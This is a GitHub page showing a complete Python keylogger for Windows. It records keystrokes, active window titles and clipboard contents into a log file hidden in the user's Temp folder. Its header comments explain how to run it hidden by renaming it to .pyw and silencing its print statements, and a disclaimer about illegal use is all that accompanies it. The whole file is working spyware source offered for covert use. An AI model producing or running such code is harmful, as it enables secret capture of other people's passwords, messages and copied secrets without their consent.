-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger_locale_windows.py
More file actions
122 lines (98 loc) · 4.53 KB
/
keylogger_locale_windows.py
File metadata and controls
122 lines (98 loc) · 4.53 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
###################################################################################
# ALL print() IS JUST FOR TESTING
# BEFORE STARTING SCRIPT YOU NEED TO COMMENT ALL print()
# RENAME FILE IN .pyw FOR RUN THIS SCRIPT IN HIDE MODE
# THIS SCRIPT IS TESTED ON WINDOWS 10
# IMPORTANT: I don't take any responsibility for the illegal use of this program
# Don't be a lamer
###################################################################################
# -*- coding: utf-8 -*-
from pynput.keyboard import Key, Listener
from win32gui import GetWindowText, GetForegroundWindow
import os
import re
import threading
import time
import sys
import shutil
import random
import pyperclip
# Local Keylogger
# GET INFO ---------------------------------------------------------------------------------------------------------------------------
username = os.getlogin() # Getting username from user
target = os.environ['COMPUTERNAME'] # Getting hostname from user
dirFile = os.path.dirname(os.path.abspath(__file__)) + "\\" # Workink directory
nameFile = os.path.basename(__file__) # Getting only the name of keylistener
keylog = "C:\\Users\\"+username+"\\AppData\\Local\\Temp\\Logs.log"
# keylistener --------------------------------------------------------------------------------------------------------------------------
lastFocusName = ""
def keylistener():
def clipboard(): # when the user press ctrl+v
# get clipboard data
try:
data = pyperclip.paste()
# write into the logfile
clip_write = open(keylog, "a")
clip_write.write(" <clipboard["+data+"]> ")
clip_write.close()
data = ""
except Exception as cliperr:
print(cliperr)
pass
def on_press(key):
global lastFocusName
if lastFocusName != GetWindowText(GetForegroundWindow()): # grabbing the title name of a window if it changed
try:
windowsTitleName = open(keylog, "a")
windowsTitleName.write("\n\n" + str(time.strftime("%Y-%m-%d %H:%M:%S") + " | " + GetWindowText(GetForegroundWindow()) + "\n"))
windowsTitleName.close()
except:
pass
lastFocusName = GetWindowText(GetForegroundWindow()) # current title name window
if key == Key.shift_r or key == Key.shift_l or key == Key.ctrl_l: # removing form output the key SHIFT and CTRL(left)
return None
if str(key) == "'\\x19'": # if user press CTRL+Y the scritp will close, delete this strings for don't close script
print("Quitting...")
return False
if str(key).startswith("Key."): # assign at all key the output <key>
key = "<%s>" % (str(key))
if str(key) == "<Key.backspace>":
key = "<BS>"
if str(key) == "<Key.space>":
key = " "
if str(key) == "<Key.enter>":
key = "\n"
if str(key) == "'\\x16'":
key = ""
clipboard()
# CTRL + keys -----------------------------------------------------------------------------------------------------------------
if str(key) == "'\\x01'":
key = "<CTRL+A>"
if str(key) == "'\\x13'":
key = "<CTRL+S>"
if str(key) == "'\\x1a'":
key = "<CTRL+Z>"
if str(key) == "'\\x18'":
key = "<CTRL+X>"
if str(key) == "'\\x03'":
key = "<CTRL+C>"
if str(key) == "'\\x0e'":
key = "<CTRL+N>"
if str(key) == "'\\x14'":
key = "<CTRL+T>"
if str(key) == "'\\x10'":
key = "<CTRL+P>"
if str(key) == "'\\x0c'":
key = "<CTRL+L>"
# CTRL + keys -----------------------------------------------------------------------------------------------------------------
output = str(key).replace("'", "") # if u need to view the output without ' "" ' create a python script to replace all ' "" ' with " ' "
log = open(keylog, "a")
log.write(output)
log.close() # close output file for listening if the key backspace is pressed for delete last char
with Listener(on_press=on_press) as listener:
listener.join()
# keylistener --------------------------------------------------------------------------------------------------------------------------
print("Capturing Keystrokes")
print("Logs are here > " + keylog)
print("Press [CTRL+Y] for interrupt the keylogger")
keylistener() # Running the keylistener